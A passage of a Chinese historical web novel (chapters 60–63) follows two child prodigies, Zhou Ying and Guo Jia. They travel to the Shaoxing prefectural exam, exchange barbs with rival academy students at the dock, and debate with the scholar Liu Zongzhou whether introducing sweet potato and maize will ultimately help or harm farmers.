“聊了这么久,我也累了,诸位,我先不多陪了,请。”他一挥衣袖,便也就直接离门而去。 60.第 60 章 出了门,周盈脚下步步生风,目不斜视看着前方,衣袖一甩之间,叫旁边站着的杨业一时间都有些摸不着头脑了。 咦?小师弟这是生气了? 素未见过。 这倒不能怪杨业。 他看了一眼屋内几个人坐着也不说什么,再回头一看,周盈身影都走到门口,想了想还是跟了上去。 “欸?小师弟?谈的如何了?” 周盈这会儿脑仁突突直跳,想起方才谈判的事情,更是觉得头疼极了。 “那沈峰什么来路?真是弄不灵清,谈的我实在烦闷。” “啊、啊?哦……他是沈越的爹,也是咱们山阴县最大的粮商之一。”一时间没反应过来周盈这句话,杨业琢磨出了些许怒意。 听了解释,周盈脚步一顿。 “怎么了?” 周盈深吸一口气,叹了出来:“算了,事情没谈成,这帮人也没什么诚心,我就让他们先回去再想想,不说这个了。” “对了,奉孝他们呢?” 没见着郭嘉和张岱的影子,周盈看了一眼已经夕阳挂彩的天空,应是过去快一个时辰了,谈了这么久…… “实践早结束了,夫子们带着学生已经回去了。” 周盈想了想今天发生的事情,脸上也实在是挂不起笑容来,便朝着外头默默走去。 “哎?小师弟,去哪儿啊?” “接人放学,回家。” 杨业眨巴了一下眼睛,看了一眼郭府,再看看走的飞快的周盈,心里也是好奇极了。 这谈判到底是谈了个什么?怎么能把素来喜怒不形于色的小师弟都惹毛了? 马车上。 安静。 很安静。 非常安静。 车轱辘滚着,外头街道小贩吆喝着。 就连郭嘉的肚子,也咕噜了起来。 抬起头,沉思着事情的周,揉了揉额角:“饿了?有郭娘做的玉米饼,你自己翻一下。” 郭奉孝闻言,这才叹了口气。 “打从刚刚开始,你就一直这样,我倒以为,我面对的是个瘟神呢。” “怎么了?是生气我和张岱丢下你先走了?” “不,只是有时候会觉得,想办成一件事情,似乎从利益去分配,好像也不见得能把事情都办成。” 谈到这句话,周盈垂下眼睑,长睫一扫一扫的,也不知道在想什么。 “这可不像是你说的话,你以前还说过,可没有什么事情能难倒你。你忘了?”郭嘉觉出不对劲了,这是啥情况啊? 他也就跟张岱回私塾没一会儿功夫呢,怎么周盈就在这进入思考者模式了? 吓人。 郭嘉站起身,凑过来,坐下。 一气呵成。 “是谈判的事情闹得不欢而散了?” “奉孝,你觉得做一件事情,最重要的是什么呢?”突兀的,转过头来的周盈说出了这么一句话。 黑眸中的那点滴星光灿然,映照出郭嘉的面容,一个七八岁的少年,还很青涩。 但说出的话却很有深意。 “行则成,思则败。求万事俱备,往往一败即溃。若见招拆招,则剑越磨越利,此方可成事。” 听他这话说出口,周盈知道其中含义,也难得展颜一笑:“哦?这话说的,倒还挺不符合寻常想法。” 郭嘉看他笑了,也跟着一笑:“哪有什么事情总是能面面俱到?你就是想太多。” “要是谈判不成,我们再想别法子,左右……有朝廷下发圣旨,这政策是推定了的,找别的也能成,不过是费些功夫而已。” 周盈想了想,也没有开口说什么,两人只是坐在马车上,听着外面的吆喝声音。 然后,周盈深叹了口气:“算了,也是钻牛角尖了。只是这些天发生的事情太多,竟是让我都有些疲倦。” “跟人打交道,总得揣度话里头的几分意思,实在是让我厌恶。” “有时候,我还是不太能理解,人为什么总喜欢把话说的这般虚,而要的却又远比话里的多。” 安静听着他的话,郭嘉嗤了一声:“你想得太深,多数时候,人这种东西,都只是顾着眼前利益,目光短浅的很,谁不希望自己有的越多越好?” “大家都在为自己怎么活而博弈,这是必然存在的事情。你我无法改变,力所能及就好了,咱们来这的目的主要也不是这个。” 周盈无奈一笑,他今天也确实是想的有些多,实在是因着连日以来的布局和打算,直至今日这一场谈判不欢而散。 那些积累的疲倦便全面爆发了。 到底是人的身子,用脑过度就会头疼,也会犯困,这会儿他都有些困的不行了。 “你困了就靠着我睡吧,等会到了门口,我喊你就是。”郭嘉很大方,自个儿主动把肩膀递了过来。 “别总自己扛。” 周盈见状,也是叹了口气:“奉孝会关心人了,真是令人感动。” “……”郭奉孝有点想把他的嘴捂住。 “好了好了,不说了,我靠一靠。”周盈见着他脸色有些别扭,也就狡黠一笑,闭上眼睛。 郭嘉感觉到肩膀上一沉,也就没说什么。 马车徐徐往前,外面的声音也逐渐安静,这是离开了热闹喧哗的闹市了。 突兀的,一句话突然又又又响起。 “所有人都没错,那是谁的错?” 郭嘉瞪出了死鱼眼,有点崩溃:“我的错,我的错行了吧?你快睡吧!” 好吧,不能再逗了。 不然小郭狐狸就要挠人了。 回到家,吃上一口香喷喷的饭,周盈才总算是从用脑过度的状态抽离了出来。 整个人端着饭碗,夹着排骨往嘴里塞,咀嚼的动作迟缓而僵硬,随后吐掉骨头。 “……”桌上三个人这会儿拿着筷子,也都有些吃不下饭了。 “这、这怎么了?” 周瑶直接站起身走过来,手猛地捧起周盈那张奶膘未退的小脸蛋。 “唔!娘泥赣马(娘你干嘛!)”眨了眨眼的周盈彻底从思绪抽回神来。 “盈儿,你怎么了?是不是哪儿不舒服?别吓着娘啊!” 被捧着脸,周盈一时半会还挣扎不开,眨了眨眼睛:“窝没试!” “噗……”对不起,郭奉孝 忍不住了。 看着周盈给自己使眼色,郭嘉咳了一声道:“周娘,他估摸着是吃饭的时候想事情呢,没事的。白天私塾里有些累了而已。” 听到这话的周瑶恍然大悟,紧接着眼里都心疼的不行,看着自家崽这幅吃饭都走神的模样,也不知道是脑补了些什么。 “啊…我早先还听说呢,张大人带了一帮人来郭府谈事情,当时为娘和你郭娘在账房查账,却是没想到让吾儿受了委屈!” “跟娘说,谁惹了咱们盈儿不快?娘这就找人去算账!” 眼看着周瑶眼里头的担心和心疼都要溢出来,周盈也是心里一软,握住捧着自己脸的手,缓缓放下。 “没事,我就是想事情出神了而已,娘亲不用担心。白天确实有些累,不过现在已经好了。” 说着话,周盈展颜一笑:“吃饭吧,明天还有事情呢。” 几个人相互一瞧,倒也没再说什么。 一顿饭吃完。 夜深时分,周盈还在书房夜读,实在是马上就要联考了,他这些天忙着别的事情,功课上也就落下了一些。 没办法,只能是熬夜恶补了。 吱呀一声响。 他抬头一看,灯火下只见郭嘉探了个头进来:“这么用功?” “嗯?你怎么还没睡?” “你都不睡,我也睡不着啊,再说了,周娘这会儿担心你,让我帮着把熬好的鸡汤端过来。” 说着话,郭嘉抬腿走进了门,手上提了个小食盒示意了一下。 周盈瞄了一眼,笑了笑,也没说什么,垂下的长睫翕动着,便又开始翻阅起手上的书来。 夜色灯火下,安静的氛围一时间竟也不忍心叫人打破。昏黄的光晕照的两个小少年,奶膘绒毛细细可见。 周盈察觉郭嘉坐在边上,也不说话,手撑着脸颊翻书,看起来似乎是在好好学习,实则神游天外不知所踪。 “我再看看,你东西放着就行了,明天得出发绍兴府儒学,这联考千盼万盼的,也算是咱们第一次踏出山阴县这小小地方。” 郭嘉嗯哼了一声,抬头看了他一眼:“联考都是小事情,我是怕你今天把自己熬趴下了,明天路上得难受,说不准会晕船。” 绍兴府儒学,位于府城南隅,离山阴县并不远,走水路大约也就一个时辰左右。 眼看着周盈还要翻书,郭嘉便直接一伸手夺过放下:“喝汤,睡觉。” 周盈无奈,对这甜蜜的负担不免觉得心里暖融融。想了想,自己是不是真的太绷着了一些? “我知道了,你先去——好吧,我喝就是了。” 话语戛然而止,因为郭嘉冷笑了一声。周盈心知再说下去,可能要出事儿。 拿起汤抿了一口,熬入味的鸡汤掺杂了枸杞桂圆,入口鲜香中带着清甜,翠绿的葱花洒下,更烹出了几分令人食指大动的肉香。 便是周盈这种从不怎么挑食的,也得被妈妈的手艺养刁了胃口! “这就对了,周娘刚还和我说,担心你情况,见你书房一直不熄灯,我娘也一直挂着心,你看你,把我们三个的心啊,都弄的兵荒马乱的。” “真是个祸害。” 61.第 61 章 周·祸害·盈,把点心塞进嘴里,垂下眼睑咀嚼,只觉得嘴里桃酥甜香,令人疲倦一扫而空。 “味道如何?” “甜的。” “……”问你味道如何,不是问尝起来是什么滋味! “好吃。”周盈见他脸上带了些无语,也就狡黠一笑。 第二日。 周盈他,睡过头了。 一大早,吓得床上猛起身的人,掀起被子,赤脚直接跳下了床。 真是舒服日子过惯了,半点警惕心都没了! 周盈手上抄起衣服就往身上套。 少年身形挺拔,还是抽条的发育阶段,每年衣服都得新裁,不然容易不合身。 也正因此,他衣柜里的衣服就特别多。 穿上内衫,一拉开衣柜,看着密密麻麻的衣服,一时间竟是无从下手! 他哎呀了一声,闭上眼就随便拿了一件掸开。 推门进来的周瑶看他手忙脚乱的,走上前帮搭把手,扣上小纽扣。 “娘,我睡过头了,你怎么都不喊我一下?”周盈声音里少有的带了点点嗔怒。 这真是很稀奇的事情了,周瑶都有些讶然,毕竟她这个儿子年少老成,从来都不曾有过太失态的时候,做事也总是不急不缓的。 周瑶语气带了些笑:“急啥呢,时间还早,你每日起那么早锻炼,今日就不练了,多睡会儿。” 最后一个小纽扣扣上,周盈眨了眨眼睛,黑汪汪的眸子里闪过了一丝了然,紧接着心里也有了些尴尬和懊恼。 “你昨晚上熬了那么久夜,多睡会也没事,外头早饭都煮好了,还有包袱也都收拾好了,家里塞了些银两宝钞,出门在外,钱不能少,不要太省着,昂?” “每天要记得吃饭,不要读书读入迷了,饭都不吃了,身体受不住。” “还有,我给你和嘉儿弄了些点心,等会儿路上带着吃。郭府那边的事情我们看着就行,你和嘉儿就安心考试。” 周瑶的絮絮叨叨,一句接着一句,听得周盈心里也不是滋味:“我知道了,我和嘉弟出门在外,会相互照顾的。” 闻言,周瑶叹了口气,似乎是想到了什么:“我这实在担心你,平日看着精明,生活上总是马马虎虎的……要不我还找个人陪着你们去吧。” 呃……这实在不用了吧! 他真能照顾好自己的。 “娘!别说了,我这马上迟到了,我要去吃早饭了,其他的事情路上再说吧。”察觉自己头发已经扎好,周盈站起身,抄起桌上的书本和包裹。 “哎!慢点啊!” “知道了!!我们也就去几天,又不是不回来了!”这句话尾音越拉越长,最后消失不见。 周瑶看着门口,无奈一笑:“这傻孩子。” 车上。 坐在对面的郭嘉,叼着饼, 帘子猛地掀起,周盈踩着凳爬了上来。 “可算醒了?”放下墨轩斋主人写的,郭嘉眼里带着十足的恶趣味之笑。 周盈剜了他一眼,也是没好气:“你也不叫我。” “欸……不知道谁,昨晚上说好了要睡觉,回屋还自己偷摸摸看书。”郭嘉说着话,瞥了一眼周盈手上抱着的书。 “你看,今天睡过头了吧?” “……”周盈真是无语了。 郭嘉哈哈一笑,车轮滚动,载着两人,前往码头。 今日,风和日丽,刚入冬的天气,却已经是有一些让人觉得刺骨了。垂在河畔的柳树,这会儿也没了嫩绿,只有光秃秃的细条,在空中摇晃。 坐在边上的张岱看了一眼路过的来往人流,啧了一声,皱起眉看向边上站着的沈越。 嘴角抽了抽,然后心里就有点别扭了。 “怎么?宗子兄牙疼?” 见到沈越那讨人嫌的德行,张岱撇开眼,都懒得搭理他。 “宗吕,小师弟呢?” “说是已经来了,也不知道是不是在路上了。” 站在码头上的几个学生,约莫有十个左右,都是从潘岳私塾里选出来最优秀的,这次的联考关乎整个绍兴府,陈夫子尤为看重,因而是亲自带队的。 几个学生站在边上嘀嘀咕咕,有的指着水面一对鸳鸯,有的手上拿着一卷书相互翻阅,总归是各有各的趣事。 “来了来了!”不知是谁喊了一声。 众人看过去,便看到马车朝着这里徐徐赶来。 陈夫子上前一步,那停下的车内,掀起帘子的周盈和郭嘉跳下来,看了众人一眼。 眼中带了些许尴尬的周盈行礼道:“夫子,让诸位师兄久等了。” “小事而已。” “是呀,反正考试是明天,咱们也不急。” “好了,人齐了,咱们上船吧。”陈夫子一挥手,几个人跟着陆陆续续走向码头。 “汝瑛,这次绍兴联考,比往年竞争可都要激烈啊。为师打听了一番,往年那几个不曾参加的学院,今年是全一股脑的报了名,也真是稀奇了。” 一群人踏上船,紧接着船夫就松了锚,船桨一推岸,整条船便缓缓的向着湖面划去。 陈夫子站在船头,看着远处水天一色,山映曦光的景象,捋着胡子又道:“这次参加的学院有十个,其中有不少,名声可比咱们潘岳私塾都还大,你和奉孝怕不怕啊?” 周盈闻言看了一眼郭嘉,这家伙坐在船上,翘着二郎腿看着墨轩斋写的,边上的张岱不知道嘀嘀咕咕跟他说着什么。 周盈:…… “夫子,数目多少,也总得看整体质量才是,若是学生本事不够,那再来十个百个的,也不过是白费功夫。” 他看着水面波澜渐起,一行人已离岸远去不少,便又说:“我们只需选出最厉害的那几个就够了,其余的也不足为奇。” 陈夫子听他这话,听的是心里踏实,哈哈一笑,拍了拍周盈的肩膀:“汝瑛此言不假。我倒是对你们不曾担心,毕竟有皇上钦封的‘孝童’头衔,已是冠绝绍兴府,那些私塾学院的夫子们,这些天往我这塞的信纸,我都能拿去当草纸用了。” “这帮老小子,往日里是看不起咱们潘岳私塾,如今倒是眼巴巴 来攀交情,哼!我看啊,考试上你们得好好给他们颜色看看!也算是给咱们潘岳私塾出出气了。” 这说着话呢,陈夫子自个儿就开始吹胡瞪眼了,一副小老儿架势。 周盈心里也是无奈一笑:“夫子放心,我等必叫潘岳私塾扬名整个绍兴府。” 听了这话,陈夫子笑得眼睛都眯上了:“话虽是这么说,但那稽山书院,乃范仲淹所创,朱熹讲、阳明复,名动天下。算是咱们绍兴府,排名第一的私塾了,刘宗周的证人书院,这些年创办的也不错,名下几个弟子有才,与稽山书院,多有来往,我这才想着,把你们两个送过去进修。” “欸…可如今,刘宗周似乎对你们颇有非议。” “嗯?学生实在不知,到底是如何,惹的这位大儒如此不快?”周盈都稀奇了,这刘宗周,怎么还这么莫名其妙的呢? 听到这话,陈夫子笑得也有些复杂,捋着胡须低头看着水面倒映:“刘宗周此人,难说。” “万里二十九年,他中进士。弹劾言:东林顾宪成,贤人。攻东林可也,党昆、宣必不可。” “这是两边都骂,自己老师面子都不给。” “哦?此人行事如此狂妄?” “欸…他对学问之刻薄,多于功名。你二人所做之事,献嘉种、策国事,以实物求功名,在他眼中,怕是成了‘学术之贼’了。” “……”周盈呵呵一笑,脸上依旧一副倾听模样。 也就这会儿,听到两人在船头嘀嘀咕咕,郭嘉好奇挑眉,干脆凑过来,突兀开口:“什么学术之贼?说谁呢?” 陈夫子看了他一眼,与周盈对视一笑,手指着郭嘉:“说你这个小毛贼呀,总是偷着时间,不学无术。” 郭嘉闻言乐呵了:“夫子此言,可说我乃……岁月神偷!” “夫子在说正事呢。说的是稽山书院和证人书院。”周盈补了一嘴。 “哦,然后呢?” “……” “……” 陈夫子一口气差点没喘上来,手抖着,挥了挥袖:“算了,为师是瞎操心,还给你们打听了对手虚实。” 周盈也是没好气看了他一眼:“知己知彼百战百胜,夫子这是在帮咱们做考前参谋呢。” “什么什么参谋?小师弟我也要听。”边上听着声的张岱一起身,也想走过来凑凑热闹。 只不过他这一起身,船就猛的晃了一下,吓得船尾站着的船夫猛的大喊一声:“下水喂鱼啊!坐稳了,别乱动!” 这一声吼,几个人也就不敢动了。 沈越哼了一声,笑道:“宗子这还真是活泼,差点把船都弄翻了。” “……”张岱心想,果然这人还是这么讨厌。 “船头三位,站着吃水,可否进来坐下?” 听到船夫声音,几个人也有些尴尬,便也暂时不说那些事情,进船安稳坐下。 顺着水路往前,不过多时,已出山阴县地界。船内的几个学生,你一言我一句聊着天。 也不知是谁,突然指着前头道:“到码头了!咱们到了!” 62.第 62 章 也就这一会儿的功夫,几个人已经看到了不远处码头,来往船只上载着不少的学生和夫子。 左右是街道闹市,再往进一些,便是居民区域。 陈夫子见状也站起身来,手负在背后。 紧接着,在几个学生迟疑的目光中,陈夫子朝着不远处一条小船挥手,直接开口喊道:“程远!你们私塾今年也来啊?哎,我说上一届缺了你们,联考是半点滋味都没有啊。” “丛云!我听说你们兰亭书院,前些日子,出了个天资聪颖的学生……巴拉巴拉。” “那宗传书院有没有来?我早先拜读了徐子介的文章,今日还想着拜访一下呢!” “哎对对对…” “……”几个学生瞪大眼,张了张嘴,哎不是……这还是他们那个不苟言笑,板正严肃的陈夫子吗? “呃……夫子以前,这样吗?” 张岱摇了摇头:“不知道,开天眼了。” 这厢几个学生嘀嘀咕咕,那厢,陈夫子跟几个熟悉的打完招呼,转身朝着几人开口:“走,咱们该上岸了。” 码头上,三三两两的学生士子从各自的船上下来,有不少这会儿,正站在一旁打着交道。 旁边走过来的一人,身形矮胖,看着约莫四五十的样子,见着陈夫子,顿时眉开眼笑。 “哟,陈子长!” 听到声音,陈夫子也有些诧异:“欸?是你啊,致远兄,好久没见着你们阳和书院了。” “是啊,往年忙着教学生,大家伙对这联考,也就都不怎么上心。” 被称之为致远的中年人呵呵一笑:“今年,是听说了!你们潘岳私塾,出两个神童!这不单是被皇上点名钦封了‘孝童’,还拿出了嘉种,要在山阴县推行番薯玉米,我们也都是好奇。” “这便想着,以文会友,都来凑凑热闹,也算是一睹这两位小神童神颜了!” 陈夫子被这话说的,脸上那可谓是满面红光啊,摆着手,嘴上嘟囔道:“哪里的话,也就是两个小顽童,做了些应该的事情,你这话说的我老脸都要挂不住了!” “哎哟,子长呀,你这是收了两个徒弟,这会儿是来我们面前神气啦!”这话不是那位致远说的。 众人目光转向一旁,一个高瘦的中年人,身后跟着几个十多岁的学生,朝着这边走来。 他脸上也是笑呵呵的,手上袖子一甩,指着陈夫子就又道:“这些年没见,我这个老朋友,你陈子长可还记得?” “怎么会不记得!”陈夫子笑的眼睛都眯起来了。 跟在他身后的几个学生这会儿被一群人打量的,那是尴尬且不失礼貌的微笑。 张岱心想,往年没见你们这么巴结的,这会儿搞得他们潘岳私塾跟什么圣学之地一样的。 至于吗? 听着一群人谈论什么番薯玉米、孝童、为母叩门、为父伸冤等等事迹。 郭嘉这会儿都尴尬的脚趾抠地了,凑到周盈耳边道:“等会咱们还是尽量别把自己名字说出去,我怎么觉得这些人都像是冲咱们来的?” 周盈这会儿没他那么尴尬,但脸上笑容也有些僵硬:“你说得对。” “哎呦,可别说了,来来来,给你们介绍,这是我那两位小学生!”陈夫子跟几个人叙旧兴起,顿时大手一挥,转头朝着周盈和郭嘉看过去。 “……”周盈。 “……”郭嘉。 一群人见两个年约七八岁的少年,身着程子衣,一者清润端雅,一者机敏窈窕,都是十足的好相貌,也皆气度非凡。 不少其他学生见状,皱起眉:“啊?潘岳私塾的两位神童,怎么年纪这么小?” “这才几岁?就能来绍兴联考了?” “听说,皇上都直接给两人封了秀才功名,这也太年轻了?” “哼!沽名钓誉,连秀才都没考,能有什么本事!” “就是,读书最忌讳走捷径,小心踩的越高,摔得越惨。” 交头接耳的声音此起彼伏,霎时间,周围不少私塾学院的人都围了过来,把潘岳私塾的一群人都当成了活景观。 陈夫子听着这些窸窸窣窣的对话,挺直了腰杆子,手捋着胡须,也不开口说话,更不生气。 生什么气啊,只有酸的人才会生气。 他不酸。 他心里甜着呢。 张岱一行人见这架势,赶忙上前拉了一把周盈和郭嘉,把人搂在后头:“干嘛?没看过人啊?围这么近?” “就是就是。” “呃…我们也只是好奇,好奇而已。”那个矮胖的夫子呵呵一笑,看着这群人,叹气摇了摇头。 “果真是少年出英雄啊,当日之事,我略有耳闻,今日一见,两位小神童遇众人而面不改色,实非一般。” “哼,倒是不知,是真有本事,还是借学问之术,行贪名之事?”一道声音突兀刺开人群。 众人目光看向一侧,便见那年轻人脚步慢慢走来,身边跟着几个穿着士人服饰的同窗。 见到潘岳私塾一行人面色不善,只是一笑,行礼:“在下,证人书院,赵琳。” 嚯,本还想着,估计得等到明日联考,才能见着。不曾想,竟在这码头,就能撞上证人书院的人了。 说的话确实挺让人讨厌的。 周盈皱起眉,侧身从师兄们的保护中挤了出去,也不顾大家看着他的目光,直接走到最前面。 行礼道:“赵师兄——” “哎?可别,你我非同学院,这师兄名讳,我担不起。”赵琳笑了笑,眼底却没什么笑意。 这是公然给人难看。 周盈闻言,看着他,突然,叹了口气,甩袖负在背后:“素闻,学问之长,曰为:老师、师兄、前辈。吾今以师兄称赵相公,反倒是落个不讨好。” “看来也是我太尊师重道了。” “噗…”有人一听这话,脑子转过弯来了。 紧接着,一些人也开始发笑。 再后来,陈夫子轻咳一声。 张岱憋着笑:“这跟我之前骂沈越有什么区别?” “嗯?”沈越皱眉看了张岱一眼,干嘛扯到他? 眼见着一群人发笑,赵琳顿时脸色一变,眯着眼,冷哼一声:“ 周师弟,好个伶牙俐齿。” 周盈闻言,挺诧异的,看着赵琳稀奇道:“可别,我呀,担不起你这一声师弟。” 哈哈哈哈… 一群人再也忍不住了。 杨业这会儿都有些忍不住了:“小师弟真是,半点都不给人留面子。” “为什么要留面子?这证人书院的人,都踩到我们头上了,我倒是觉得还不够解气。”沈越哼了一声,看着那赵琳这会儿脸色都变青了一些。 直接一甩袖子,在众人诧异目光(别是在张岱)之下,走到了周盈身侧。 “敢问,证人书院,便是如此不识礼节,不懂尊幼,不知分寸?” 语声清朗,字字如钉。 霎时间,码头都安静了一下。 张岱眨巴了一下眼睛,凑到杨业边上:“哟,青山这回骂的比我漂亮。” 只看那赵琳,先是被周盈一句话绕进去,后又被这突然上前的沈越指名道姓,点着骂了一句。 身边几个同窗也是又恼又讪:“你们潘岳私塾的人,就是这样公然攻讦同乡文人的货色?” “呵,师兄你这话说错了,我们潘岳私塾,素来尊重人,但不尊重阿猫阿狗。若是以文会友,那明日考场见分晓,若是要挑刺,今日,在这,我们潘岳私塾,也不怯场。” 这话说的,带上了浓浓火药味,大家伙眼睛也都瞄到了郭嘉身上。 这家伙先前一直摸鱼划水。 几个潘岳私塾的听了,小师弟都这样说了!自己不上哪还要不要脸了! “就是!若是你们证人书院,这么看不起人,我看啊,今天我们就在这,让这么多学院私塾的人都见识见识,到底是谁说的更有理点!” “你!” 赵琳这会儿气的已经有一些失态了,身侧同窗拽了拽他,皱眉道:“书玉,事不可扩大,如今你我私自前来码头,已是破了夫子规矩。” “是啊,这次联考,夫子十分重视,要是让夫子知道咱们偷偷溜出来,还专跟潘岳私塾的人起冲突了,我们肯定讨不了好。” 赵琳闻言,猛地一甩袖,冷哼一声:“我知道,我就是看不顺眼这些拿着学问之名,给自己谋好处的学贼!” 几个同窗还想再说些什么,刚开口,就听到一道声音响起。 “书玉,尔等不好好温习书卷,来码头作甚?”这道声音,微微低沉,却中气十足。 一时间,把赵琳几个人都吓得猛转过头。 周盈看过去,就看到了一道挺拔身影逐渐清晰,此人约四五十岁,面容清瘦,眼睛却十足的精神,扫了一眼微微低下头的赵琳。 对方脸色有些难看:“夫子,我等……只是来码头看看。” 被称之为夫子的中年男人身侧,还跟着个少年学生,光看那身形,大约是和周盈、郭嘉年岁。 “夫子,那两位,就是潘岳私塾的周神童和郭神童吗?” 小少年话一开口,周盈和郭嘉闻言,都猜出对方是谁了。 “宗羲,不可无礼。” 原来,这个看起来也才七八岁左右的少年,是黄宗羲。 63.第 63 章 刘宗周看了一眼潘岳私塾的一个人,目光转移到周盈和郭嘉身上的时候,倒是停了一会儿,但很快就转移开了。 他看向陈夫子:“子长,你我也有数年未见,今日在码头,我的学生公然闹事,有失礼数,此事,我先赔不是。” 陈夫子闻言,脸上也沉稳了几分,手抬起行礼道:“小儿之言,不足为奇。我潘岳私塾,素来不惧以文会友,起东言重了。” 听了他这番话,刘宗周脸上也没有什么太多的表情,皱了皱眉,看了一眼有些心虚的赵琳,再看对方身边的几个学生,叹了一口气:“尔等,学术不精,便也罢了,大庭广众下,也不知尊老爱幼了?” “是…学生知错,学生只是……”赵琳语气里带着几分不太想认错的倔强。 “只是觉得,以学问求名的学贼,实在是当不得尊重两个字。” 这句话说的太重,说的周盈和郭嘉两个当事人已经有些沉了脸。也说的潘岳私塾的一群人,脸上都挂了些火气。 “他什么意思?说我们小师弟是学贼?我看他才是!” 边上一群看好戏的学生和夫子们瓜吃的是津津有味,早先就听闻,证人书院和潘岳私塾不对付,言论传的甚广,大家伙也都好奇的很。 刘宗周眯起眼看着赵琳:“你若是只逞口舌之快,那你成功了,但你心里装的全是胜负,那就不要打着为学问清害虫的名头。” “这些奇淫巧技,害人害己,别把自己都骗进去了。” 赵琳闻言,脸色有些苍白:“是,学生知错了。” “两位小神童,我这个学生,素来性子急躁,眼里容不得沙子,老夫代他们,赔个礼。” 说是赔礼,实则半点诚意也无。 周盈心里冷笑,这刘宗周,倒还真是…… “本事不大,脾气挺大。我觉得他在指桑骂槐,借赵琳骂我们。”郭嘉凑过来补了一嘴。 周盈看了他一眼,也没说什么,想了想,往前一步:“刘山长,我倒是有个疑问。在下与嘉弟,自小孤苦,与母相依为命,建了个酒坊讨口饭吃,被那王宗昌砸了招牌,冤枉入狱。” “幸有曹青天洗清冤屈,为报其恩,便将番薯玉米嘉种献出。” “如今忝得皇上赏识,封了个功名、孝童。却为何,说我等是学术之贼呢?” 这句话问的很重,也问的很尖。问的所有人都一阵沉默不解,问的周盈心中也确实不太理解。 刘宗周听到了,依旧气定神闲,看着他的时候,带着几分淡然,随后开口道:“玉米番薯,肥者为乡绅、商贾,祸者为农户、百姓。尔今以嘉种称之,来年焉不视之灾殃?” “大事浑浑,小事滔滔,抱阴而无阳,势如水火未济,终成祸患。” “……”周盈皱起眉,低下头不知道在思忖什么。 刘宗周见状,看了一圈周围的众人,再一看自己的几个学生,这会儿都低头跟个鹌鹑似的,心里也有几分无奈。 “明日便是经义考,尔等且回去温习功课吧。” “是。” 周围人见没什么戏可看了,也都觉得有些无聊。就在刘宗周准备带着一直安静,不怎么说话的黄宗羲离开的时候。 周盈又言:“敢问刘山长,农妇无米之炊,家贫无粮之食,亩产之粟,无可养家,再逢年饥荒,此局又该何解?” “商贾奸诈,乡绅贪弊,此为不假。可商贾之经营,乡绅之田亩,也是不假。二者是为阴阳,你若说那水火未济之象……” 说到这,原先那些觉得无趣的旁观者,这会儿也都停住了脚步。 连带着,刘宗周都顿了顿身影。 语调一转,周盈声音略提:“亦有卦六十三。 坎上离下。 水在火上,烹食已成。 亨通,利贞,初吉终乱。 此为,水火既济。” 一字一句,顿止。 一众人,有的皱眉深思,有的迟疑不解,有的茫然间,却不知二者谈论的是什么。 还有的,则是缓缓转过身。 天色至中午,阳光正好。 码头的风带着些水腥气味,吹得众人衣袂微扬。 张岱见刘宗周转身,两人对峙一般的气氛,有些稀奇:“小师弟这是在说…商贾乡绅之利害,本为一体,不可分之而谈,但水火未济之卦,意在变动,变之则水火既济?” 郭嘉稀奇,看了他一眼,带着几分戏谑道:“张师兄悟性甚高,吾等若非此言一点,怕还是茫然不知。” 张岱小尾巴一翘:“小意思小意思~” 沈越撇了他一眼:“没出息。” “……?” 刘宗周,这会儿也是深深的打量了一眼周盈。这个衣衫素白,身量未足的少年,此时腰背笔直,黑眸似寒星一般,清而有力。 并非逞能,而是回答。 刘宗周想起,早些年,他与一些友人谈论,问曰:“道在日用,何以救此苍生?” 没人回答出来,后来他也就不再问了。 “你以嘉种推今日之陈田,救今日之饥,是水火相济,是初吉。” “可你又如何保证,二十年后,五十年后,那些嘉种不会沦为乡绅兼并田亩的利器?” “番薯耐瘠,玉米耐旱,荒山亦可种。是好也是坏,贫者垦荒而得食,富者圈山而收租,届时,这荒山贫地,都归了他人所有,饥民无地可耕,那你这嘉种,是救人利器,还是杀人利器?” 他并没有像别人想的那样生气,也没有愤怒,看着这个看起来太年轻,也太青涩的学子,不免得,心里生出几分复杂。 说的话重归是重,听起来如斥责。 潘岳私塾的几个听了,心里可别提多气了,也就只有陈夫子捋着胡须,郭嘉低着摸着下巴,两人不知道在想什么。 张岱看着那两人,心里也不免得为周盈担心着急,生怕对方落了下风。 但出乎意料的事情是,众人眼里,周盈似乎是沉默了一会儿,然后在很多人都不太理解的目光中,行了一礼。 “学生明白了,谢前辈赐教。” 刘宗周少见的,颔首,也不再说什么,带着一群人,转身离开了这里。 围观的一群人,你看我我看你。 就……这? 难道不该是来一场你死我活的学术辩论?太没意思。 “散了散了,没好戏看了。” “哼,我倒以为,潘岳私塾的神童有多能耐,原来被训斥几句,也就退缩了?” “看来,证人书院还是不容小觑啊。” 没理会这群人的嘀嘀咕咕,周盈只是在想着自己心里的事情,转身走着,脚步一停。 看着眼前凑过来的一群师兄,眨了眨眼:“怎么了?” “小师弟,你告诉师兄,刚刚是不是那刘宗周威胁你了?” “??” “我一看那帮证人书院的人,就觉得不是什么好东西,要是你点个头,咱们师兄弟一定帮你出头!” 周盈扶额,这都什么跟什么! 边上站着的沈越都听不下去了,看着张岱这群人围在周盈身边,皱紧眉,啧了一声,宠也不是这么宠的,干嘛呢。 “叫你们多读点书,非是不听,总出去鬼混。周师弟这是跟那刘宗周论道,论出了点名堂,又不是武人般的打打杀杀。” “哦……”是这样吗? 周盈莞尔:“青山师兄说的在理,那刘宗周也非寻常人,问我之事,亦是我本担忧的东西。欸……确实是把我问倒了。” “嗯?这倒是稀奇,小师弟素来智多近妖,竟也有觉得棘手的一天?” 周盈摇了摇头:“不说这些了,夫子呢?” 众人闻言一转头,咦?陈夫子去哪了? 再一看。 哦…又又又在码头跟人聊天呢! 刚下了船,就在码头闹出动静,几个人肚子也都是咕噜咕噜的开始响了起来。 眼看着陈夫子越聊越起劲,大家伙也都是有些无语,张岱拍手道:“欸?反正到时候都是去绍兴府儒学,咱们不妨先散了,自行活动,等下午汇合就是了。” “这法子我看行,不然在这等,还不知道等多久呢!” 一群潘岳私塾的学生一拍即合,把自家的夫子拉在了码头。 绍兴府,和旨楼,门外。 抬起头看着上方雕梁画栋,金字招牌在太阳底下闪闪发光,潘岳私塾的一群学生都眨了眨眼睛。 “宗子…这地方,得花不少钱吧?” “我这出趟门,还真没带够盘缠。” “去去去,要你们付什么钱?我说来这,那肯定是我请客,走,进去看看。”张岱是大气,反正他家境殷实。 杨业见着他直接走进门,也是无奈摇头:“你们就把心放肚子里好了,今天宗子请客,咱们得狠狠吃他一顿。” 这话豪气。 连带着沈越,这会儿也管住嘴,没嘴贱一回张岱了。 几个人进了门。 后头跟着的郭嘉,见周盈还在思考什么,凑过来,用手肘顶了顶:“台阶啊。” 